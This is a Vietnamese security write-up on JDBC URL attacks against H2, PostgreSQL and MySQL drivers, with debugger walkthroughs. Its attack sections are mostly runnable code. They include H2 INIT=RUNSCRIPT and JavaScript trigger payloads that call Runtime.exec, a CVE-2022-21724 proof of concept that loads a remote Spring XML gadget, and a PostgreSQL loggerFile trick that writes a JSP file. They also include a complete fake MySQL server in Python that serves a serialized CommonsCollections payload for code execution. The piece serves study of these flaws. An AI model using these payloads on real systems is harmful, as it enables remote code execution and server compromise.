> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/jdbc-attack.md).

# JDBC Attack

## Tổng quan về JDBC

JDBC (**Java Database Connectivity**) là một API chuẩn của Java dùng để giao tiếp với cơ sở dữ liệu. Thay vì mỗi loại database có một cách kết nối và thao tác riêng, JDBC định nghĩa một bộ API thống nhất như `Connection`, `Statement`, `PreparedStatement` hay `ResultSet`. \
Và các lập trình viên chỉ cần thao tác với các API đó, việc kết nối và giao tiếp với từng hệ quản trị cơ sở dữ liệu sẽ do JDBC Driver tương ứng thực hiện.

Demo :&#x20;

```java
package org.example;
import java.sql.*;

public class JdbcDemo {
    public static final String URL = "jdbc:mysql://localhost:3306/jdbc_lab";
    public static final String USER = "jdbc_user";
    public static final String PASSWORD = "JdbcLab@123";
    public static void main(String[] args) throws Exception {

        Class.forName("com.mysql.cj.jdbc.Driver");
        Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);
        Statement stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery(
                "SELECT id, username, password FROM users WHERE id = 1"
        );

        while (rs.next()) {
            System.out.println(
                    "Username: " + rs.getString("username")
                            + " | Password: " + rs.getString("password")
            );
        }
        rs.close();
        stmt.close();
        conn.close();
    }
}
```

Ouput:

```
Username: admin | Password: Admin@123
```

Thì đoạn code này đơn giản là nó sẽ load driver, sau đó sẽ `getConnection` từ URL, user, password, sau đó `createStatement` rồi execute query sql.

## JDBC Attack

Khác với SQL Injection, **JDBC Attack** không tập trung vào việc inject vào câu SQL, mà tập trung vào việc kiểm soát JDBC URL trước khi connection được tạo.

Trong bài viết này, chúng ta sẽ tập trung vào trường hợp **Full JDBC URL Control**, tức là attacker có thể kiểm soát toàn bộ URL được truyền vào `DriverManager.getConnection()`.

Ví dụ:

```java
String url = request.getParameter("url");

DriverManager.getConnection(url);
```

Lúc này attacker không chỉ có thể truyền vào một JDBC URL bình thường như:

```
jdbc:mysql://localhost:3306/jdbc_lab
```

mà còn có thể truyền vào các JDBC URL chứa malicious properties.

Điểm nguy hiểm nằm ở chỗ JDBC URL không chỉ chứa host, port hay database name, mà còn có thể chứa các property dùng để thay đổi hành vi của JDBC Driver. Vì vậy, nếu ứng dụng cho phép user kiểm soát full JDBC URL, attacker có thể lợi dụng các property này để ép driver đi vào những flow nguy hiểm.

Trong phần tiếp theo, chúng ta sẽ lần lượt phân tích H2, PostgreSQL và MySQL để xem mỗi driver xử lý JDBC URL như thế nào và những tính năng nào có thể bị lạm dụng.

## H2 JDBC Attack

Đây là kĩ thuật attack JDBC với Database H2

Đầu tiên chúng ta cần setup environment

Download file : <https://www.h2database.com/html/cheatSheet.html>

```
java -cp h2-2.4.240.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
```

Sau đó mở&#x20;

```
http://127.0.0.1:8082
```

<figure><img src="/files/wNHmY2SkiPM3i9SzEZTC" alt=""><figcaption></figcaption></figure>

Connect và chạy thử RCE&#x20;

```sql
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc.exe');
```

<figure><img src="/files/t2yVVGUenSWStPW9XmCA" alt=""><figcaption></figcaption></figure>

Vậy là đã trigger được calc

Giờ sẽ test với JDBC

Thêm vào `pom.xml` sau đó reload maven để nó cài dependency

```xml
    <dependencies>
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>2.4.240</version>
        </dependency>
    </dependencies>
```

Và demo code :&#x20;

```java
package org.example;

import java.sql.DriverManager;


public class H2Lab {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");

        String url = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql'";

        java.sql.Connection conn = DriverManager.getConnection(url);

        conn.close();
    }
}
```

Đầu tiên thì nó sẽ tạo Object `JdbcConnection`

<figure><img src="/files/0ZH20lAhTRhN2qui8unt" alt=""><figcaption></figcaption></figure>

constructor `JdbcConnection` sẽ gọi tới `connectEmbeddedOrServer`

<figure><img src="/files/tz5YPkRRj3h6tbhFoEMW" alt=""><figcaption></figcaption></figure>

method `connectEmbeddedOrServer` sẽ return ra `Engine.createSession(ci)`. Đây là nơi H2 bắt đầu tạo database session.

<figure><img src="/files/GdDSr1xCtdMylAR0bZK2" alt=""><figcaption></figcaption></figure>

Khi đi vào `createSession` thì nó lại gọi `openSession` với `ci` là `ConnectionInfo` của chúng ta

<figure><img src="/files/4i7K5VpCiVJxgFOV9eJU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YtqqYKssfBwjbSJK7O78" alt=""><figcaption></figcaption></figure>

Trong `openSession` sẽ gọi `ci.removeProperty("INIT",null)` và gắn cho String `init`

<figure><img src="/files/JfooMZmt3uetp4rx9Vo2" alt=""><figcaption></figcaption></figure>

trong `removeProperty` sẽ remove `INIT` từ `prop` của `ci` và return ra value của `INIT`

<figure><img src="/files/SNr0JNk36zAVVtplDG6S" alt=""><figcaption></figcaption></figure>

Sau đó ở dưới sẽ check init khác null và nhảy vào `prepareLocal`

<figure><img src="/files/UOqptgdUBZhjbJk1M26b" alt=""><figcaption></figcaption></figure>

Trong `prepareLocal`, H2 tạo `Parser` và gọi `parser.prepareCommand(sql)` để parse SQL string thành một `Command` object. Lúc này SQL chưa được thực thi, mà chỉ được phân tích cú pháp và chuyển thành object tương ứng, ví dụ `RunScriptCommand`.

<figure><img src="/files/2ihsFKOGZZTc5MVWExOK" alt=""><figcaption></figcaption></figure>

Sau khi parse xong, H2 gọi `executeUpdate()`. Với payload `INIT=RUNSCRIPT FROM 'http://127.0.0.1:9999/poc.sql'`, object execute lúc này là `RunScriptCommand`, nên flow sẽ đi vào `RunScriptCommand.update()`.

<figure><img src="/files/f5YvwnSGASqTTYAxQ7jV" alt=""><figcaption></figcaption></figure>

Nó sẽ vào `executeUpdate`&#x20;

<figure><img src="/files/PLFCdZ3yhHhgt8vCMNAN" alt=""><figcaption></figcaption></figure>

Sau đó gọi vào `update` của `ResultWithGeneratedKeys`

<figure><img src="/files/wJEOBYA1H6Tm8v51Zigj" alt=""><figcaption></figcaption></figure>

Và sẽ gọi `prepared.update()` với `prepared`  là object `RunScriptCommand` chứa query sql

<figure><img src="/files/f9bhgWPymk22Fn3hbxWD" alt=""><figcaption></figcaption></figure>

Trong `RunScriptCommand.update()`, H2 gọi `openInput()` để mở file script.&#x20;

<figure><img src="/files/sDBfOyQCaOY4zCzz1Gqa" alt=""><figcaption></figcaption></figure>

Ở bên trong `openInput` nó sẽ lấy `filename` từ `RUNSCRIPT`

<figure><img src="/files/kFtPBSOoeKoxkthUfJFx" alt=""><figcaption></figcaption></figure>

Và sau đó nếu `file` là một URL như `http://127.0.0.1:9999/poc.sql`, H2 sẽ mở stream tới URL đó để đọc nội dung SQL script.

<figure><img src="/files/ugEDnFHY3zG6W3dYOn7r" alt=""><figcaption></figcaption></figure>

rồi response sẽ được loop và execute

<figure><img src="/files/L4pAYS9PEZnuGMHKI3im" alt=""><figcaption></figcaption></figure>

Vậy là nó đã requests tới server chứa query sql malicious của chúng ta và execute nó.

Ngoài ra , nếu ko ra được net thì chúng ta cũng có thể exploit theo cách khác

```sql
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
$$
```

Nhưng để exploit thì cần hạ version H2 xuống `1.4.200` và JDK 8 do version mới nó đã đổi nhiều logic parser/security hơn.

```xml
<version>1.4.200</version>
```

Ở method `loadFromSource` của `Trigger` nó sẽ call `isJavaxScriptSource`&#x20;

<figure><img src="/files/GYOTez4HXpY2SnNTUY1t" alt=""><figcaption></figcaption></figure>

H2 gọi `isJavaxScriptSource()` để kiểm tra trigger source có phải Javax Script hay không. Nếu source bắt đầu bằng `//javascript` hoặc `#ruby` thì H2 sẽ coi đây là script thay vì Java source.

<figure><img src="/files/6tWa1yJPJDJCvn88YRC0" alt=""><figcaption></figcaption></figure>

Nếu source bắt đầu bằng `//javascript` thì sẽ return True và source của chúng ta ở khi Trigger sẽ là&#x20;

```java
//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
```

<figure><img src="/files/uq01c0UP7VAvxMjg6DGT" alt=""><figcaption></figcaption></figure>

Sau đó sẽ eval script

<figure><img src="/files/KHh9mQm7JlInqSuh6JoL" alt=""><figcaption></figcaption></figure>

Trong Java có `Nashorn` và nó chạy được script JavaScript và `Nashorn`  cho phép Javascript truy cập trực tiếp tới các Java Class dẫn tới nó có thể gọi được

```java
java.lang.Runtime.getRuntime().exec("calc");
```

> Chain này thường cần môi trường cũ như **H2 1.4.200** và **JDK 8**, vì payload dựa vào JavaScript engine Nashorn/JSR-223. Nashorn có sẵn từ JDK 8, bị deprecate ở Java 11 và bị remove khỏi JDK từ Java 15 theo JEP 372.

Và vậy đã trigger được pop-up calc.

<figure><img src="/files/TNh7NAmczS4AGUNdSZeD" alt=""><figcaption></figcaption></figure>

## PostgreSQL-JDBC RCE

### PostgreSQL socketFactory Reflection

**PostgreSQL JDBC Driver** (**CVE-2022-21724**) là một lỗ hổng phát sinh do driver cho phép khởi tạo (instantiate) class được chỉ định bởi thuộc tính `socketFactory` thông qua reflection mà không kiểm tra đầy đủ kiểu dữ liệu. \
Nếu attacker kiểm soát được **JDBC URL** và ứng dụng có gadget phù hợp trong **classpath** (ví dụ Spring), lỗ hổng có thể dẫn đến RCE.

#### Affected version

* < 42.2.25
* \>= 42.3.0, < 42.3.2

#### Set-up Enviroment

Thêm dependency&#x20;

```xml
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.0</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context-support</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
```

file `poc.xml` để attack (mở python http server)

```xml
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="test" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc.exe" />
        <property name="whatever" value="#{test.start()}"/>
    </bean>
</beans>
```

Code reproduce

```java
import java.sql.DriverManager;

public class cve_2022_21724 {
    public static void main(String[]args)throws Exception{
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8888/poc.xml";
        String dbUrl = "jdbc:postgresql://127.0.0.1:5432/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        System.out.println(dbUrl);
        DriverManager.getConnection(dbUrl);
    }
}

```

#### **Vulnerability Analysis**

Đầu tiên, khi gọi `DriverManager.getConnection()` thì nó sẽ gọi tới `makeConnection`

<figure><img src="/files/l7m0bwznCA6KdbCj1pCq" alt=""><figcaption></figcaption></figure>

`makeConnection` sẽ call `PgConnection`

<figure><img src="/files/jBp2xmLeXoGw9038X33f" alt=""><figcaption></figcaption></figure>

Và sau đó đi vào `ConnectionFactory.openConnection` rồi sẽ gọi tới `connectionFactory.openConnectionImpl()` với các args như bên dưới

<figure><img src="/files/fJhekyblVgKoXwCxEEvF" alt=""><figcaption></figcaption></figure>

Ở method `openConnectionImpl` sẽ gọi `SocketFactoryFactory.getSocketFactory(info)`

<figure><img src="/files/D1n1usKgn8jsxh4Tj7OU" alt=""><figcaption></figcaption></figure>

Ở bên trong `getSocketFactory` sẽ gọi `PGProperty.SOCKET_FACTORY.get(info)` để lấy `socketFactoryClassName`&#x20;

và value của `socketFactoryClassName` sẽ là&#x20;

```java
org.springframework.context.support.ClassPathXmlApplicationContext
```

do chúng ta truyền vào.

Rồi sẽ gọi tới&#x20;

```java
ObjectFactory.instantiate(socketFactoryClassName, info, true, 
PGProperty.SOCKET_FACTORY_ARG.get(info));
```

Với `PGProperty.SOCKET_FACTORY_ARG.get(info)` là `http://127.0.0.1:8888/poc.xml`

<figure><img src="/files/rjLORnkcVa4z5VhHPpOt" alt=""><figcaption></figcaption></figure>

`ObjectFactory.instantiate()` chịu trách nhiệm khởi tạo một đối tượng thông qua Reflection từ tên class được truyền vào

Đầu tiên, driver gọi `Class.forName(classname)` để load class và lấy đối tượng `Class` tương ứng.

Tiếp theo, driver sẽ lần lượt tìm constructor theo thứ tự:

* Constructor(Properties)
* Constructor(String)
* Constructor()

Trong PoC này, `ClassPathXmlApplicationContext` có constructor nhận một tham số kiểu String, vì vậy driver sẽ chọn constructor này và truyền giá trị của `socketFactoryArg` là `http://127.0.0.1:8888/poc.xml` vào.

Cuối cùng `ctor.newInstance(args)` được gọi, tương đương với:

```java
new ClassPathXmlApplicationContext("http://127.0.0.1:8888/poc.xml");
```

<figure><img src="/files/7Iv2BLb1gFsEpvlFIpie" alt=""><figcaption></figcaption></figure>

Sau khi `ClassPathXmlApplicationContext` được khởi tạo, Spring sẽ gọi `refresh()` để khởi tạo toàn bộ `ApplicationContext`.

<figure><img src="/files/n4c3BziMLqEv6WUdvLDP" alt=""><figcaption></figcaption></figure>

Trong quá trình `refresh()`, Spring sẽ gọi `obtainFreshBeanFactory()` để tạo BeanFactory mới.

<figure><img src="/files/nugOyOopmKT6t1gyl5QH" alt=""><figcaption></figcaption></figure>

Bên trong method này, Spring tiếp tục đi qua `loadBeanDefinitions()` để tải file XML từ URL do attacker kiểm soát và parse thành `BeanDefinition`.

<figure><img src="/files/NttD5T1moIeI1lMSqFLa" alt=""><figcaption></figcaption></figure>

Sau khi các `BeanDefinition` được đăng ký vào `BeanFactory`, Spring tiếp tục quá trình khởi tạo `ApplicationContext`.

Trong `finishBeanFactoryInitialization()`, Spring gọi `preInstantiateSingletons()` để khởi tạo toàn bộ bean singleton.

Đây là thời điểm Spring bắt đầu khởi tạo các Bean từ `BeanDefinition`, đồng thời cũng là thời điểm gadget chain trong `poc.xml` được trigger.\
Nếu `poc.xml` chứa `ProcessBuilder` kết hợp với **SpEL**, Spring sẽ evaluate expression trong quá trình khởi tạo bean và thực thi payload.

<figure><img src="/files/1E8DbipAOx8MR8JLHbxV" alt=""><figcaption></figcaption></figure>

Qua đó có thể thấy PostgreSQL JDBC Driver không trực tiếp gây ra RCE.\
Driver chỉ cung cấp một primitive cho phép attacker khởi tạo (instantiate) class tùy ý thông qua reflection.

Việc có thể khai thác thành công hay không sẽ phụ thuộc vào gadget chain có sẵn trên classpath của ứng dụng.&#x20;

Trong PoC này, gadget chain của Spring Framework (**ClassPathXmlApplicationContext**) được sử dụng để download XML từ xa và cuối cùng dẫn tới RCE.

<figure><img src="/files/VVMJAaoT3NscKrrcLnXt" alt=""><figcaption></figcaption></figure>

### Arbitrary File Write&#xD;

#### Affected Versions :

* 42.3.x < 42.3.3
* 42.1.x

#### Set-up Enviroment

File java :&#x20;

```java
import java.sql.DriverManager;

public class cve_2022_21724_filewrite {
    public static void main(String[]args)throws Exception{
        String loggerLevel="DEBUG";
        String loggerFile="hack.jsp";
        String shellContent="<%25test;%25>";

        String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
        System.out.println(dbUrl);
        DriverManager.getConnection(dbUrl);
    }
}
```

#### Vulnerability **Analysis**

Khi connect driver, nó sẽ gọi tới  `setupLoggerFromProperties`

<figure><img src="/files/Dl7MNEb5XKl5GJKtNLjI" alt=""><figcaption></figcaption></figure>

Và `driverLogLevel` là `DEBUG` nên nó sẽ set trạng thái để bật log

<figure><img src="/files/sIjNb6XWGrxvZSOLJ3wo" alt=""><figcaption></figcaption></figure>

Và `driverLogFile` được lấy giá trị là `hack.jsp` mà chúng ta đã truyền vô.

Và ở dưới sẽ tạo một log handler để ghi log ra file

<figure><img src="/files/qk8GvZnvGKPmwHRM48w0" alt=""><figcaption></figcaption></figure>

Sau đó `LOGGER` sẽ ghi log  với nội dung như :&#x20;

```bash
FINE: Connecting with URL: jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=hack.jsp&<%25test;%25>
```

vào file `hack.jsp`

<figure><img src="/files/LMcTgw1zIsClTQCJlo7n" alt=""><figcaption></figcaption></figure>

Nếu server chạy Tomcat và process Java có quyền ghi vào webroot, việc control `loggerFile` có thể tạo ra file log ở vị trí web-accessible. Và có thể dẫn tới RCE.

## JDBC Deserialization - MYSQL <a href="#fwjsm" id="fwjsm"></a>

### JDBC Deserialization vulnerable

Nếu attacker có thể kiểm soát được URL JDBC, thì attacker có thể lợi dụng `ObjectInputStream.readObject()` với data được trả về từ 1 server MySQL fake để tấn công deserialization.

Cụ thể, khi JDBC kết nối tới MySQL server, MySQL JDBC client sẽ tự động execute 1 số query SQL built-in. Trong đó có 2 query mà khi result set được xử lý bởi MySQL client, nó sẽ deserialization thông qua `ObjectInputStream.readObject()`.

Hai câu query bị attacker lợi dụng là&#x20;

* `SHOW SESSION STATUS`
* `SHOW COLLATION`&#x20;

### Reproduce&#xD;

Thêm vào `pom.xml`

```xml
<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>
```

`JDBC_deser.java`

```java
package org.example;
import java.sql.DriverManager;

public class JDBC_deser {
    public static void main(String[]args)throws Exception{
        String dbUrl = "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Ho_Chi_Minh" +
                "&autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        System.out.println(dbUrl);
        DriverManager.getConnection(dbUrl);
    }
}

```

`poc.py`

```python
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()
```

Chạy thử&#x20;

<figure><img src="/files/yH3TmzVAzg2O5wlFKaA3" alt=""><figcaption></figcaption></figure>

vậy là nó đã execute được Command CALC.

### Vulnerability **Analysis**

Để tìm đường dữ liệu từ MySQL server đến `ObjectInputStream.readObject()`, chúng ta sẽ bắt đầu debug từ **`ServerStatusDiffInterceptor`**, vì đây là interceptor được kích hoạt trực tiếp thông qua `queryInterceptors` trong JDBC URL và là nơi đầu tiên **Connector/J** tự động thực hiện `SHOW SESSION STATUS`.

Ở `populateMapWithSessionStatusValues` nó sẽ **executeQuery** `SHOW SESSION STATUS`

<figure><img src="/files/nGm4aKDoZgK4tuqTabyp" alt=""><figcaption></figcaption></figure>

Và sau đó result được đưa vào `resultSetToMap(toPopulate, rs)` để chuyển dữ liệu thành 1 Map

<figure><img src="/files/rzhlvxYnE1QOXZEK0imx" alt=""><figcaption></figcaption></figure>

nó sẽ lấy cột thứ nhất và cột thứ 2 bằng `getObject` . Cột thứ 2 sẽ là cột chứa payload deserialize nên chúng ta nhảy vào `getObject(2)`

Thì nó sẽ kiểm tra coi response có phải là binary hay blob không, sau đó sẽ kiểm tra 2 byte đầu tiên của nó xem có phải là `-84` và `-19` không (`0xACED`) (Check coi có phải data serialize không, nếu có thì nó sẽ `readObject()` )

<figure><img src="/files/ioM0bYE5DWmzWGHseboL" alt=""><figcaption></figcaption></figure>

Vậy là flow server mysql fake đơn giản sẽ là nhận query MySQL là `SHOW SESSION STATUS` thì sẽ reply lại có cột 2 trả về dữ liệu có chứa payload đã được serialize là done.

Thì cơ bản nó là vậy, còn cách fake mysql server thì mọi người có thể tham khảo kĩ hơn ở <https://curlysean.github.io/2025/07/28/JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-MYSQL/>

Hoặc có thể sử dụng tool fake mysql server đã được các pháp sư trung hoa viết ở đây :

<https://github.com/4ra1n/mysql-fake-server>

## Conclusion

Vậy thì bản chất của JDBC Attack không nằm ở SQL query, mà nằm ở việc attacker kiểm soát được JDBC URL trước khi connection được tạo.

JDBC URL không chỉ dùng để chỉ định database server, mà còn có thể chứa các property điều khiển hành vi của JDBC Driver. Khi ứng dụng cho phép user control full JDBC URL, attacker có thể abuse các property này để ép driver đi vào các flow nguy hiểm như load script, reflection, file write hoặc deserialization.

## Reference&#x20;

* <https://seven97.top/framework/orm/basement-jdbc.html>
* <https://curlysean.github.io/2025/08/15/H2-JDBC-Attack>
* <https://curlysean.github.io/2025/07/28/JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-MYSQL/>
* <https://curlysean.github.io/2025/08/07/PostgreSQL-JDBC-Attack>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/jdbc-attack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
